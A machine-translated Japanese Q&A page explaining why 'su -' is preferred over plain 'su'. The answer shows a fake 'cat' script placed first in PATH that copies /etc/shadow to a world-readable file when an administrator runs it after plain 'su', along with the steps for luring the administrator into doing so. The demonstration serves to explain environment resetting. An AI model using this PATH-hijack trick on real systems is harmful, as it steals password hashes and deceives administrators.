suだけを使わずにsuを使うのはなぜですか?

suだけを使わずにsuを使うのはなぜですか?

なぜrootとしてログインするのがsu -優先されているのかわかりません。su

ベストアンサー1

su -ユーザー切り替え後にログインシェルを呼び出します。ログインシェルはほとんどの環境変数をリセットし、きれいな基盤を提供します。

suユーザーを切り替えて、既存のユーザーとほぼ同じ環境の一般的なシェルを提供するだけです。

あなたがコンピュータへの一般ユーザーアクセスを持っているソフトウェア開発者であり、無知な管理者がrootアクセスを許可していないと想像してください。 (希望的に)彼をだましましょう。

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

これで、ホームフォルダでダミーファイルが利用できない理由を管理者に問い合わせてもcat機能しません。

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

管理者があまり賢くないか少し怠惰な場合は、管理者が机に来て自分のスーパーユーザー権限を使用しようとする可能性があります。

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

うわー!最高管理者ありがとうございます!

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

へへ。

$PATH破損した変数はリセットされないことがわかります。管理者が呼び出すと、su -これは発生しません。

おすすめ記事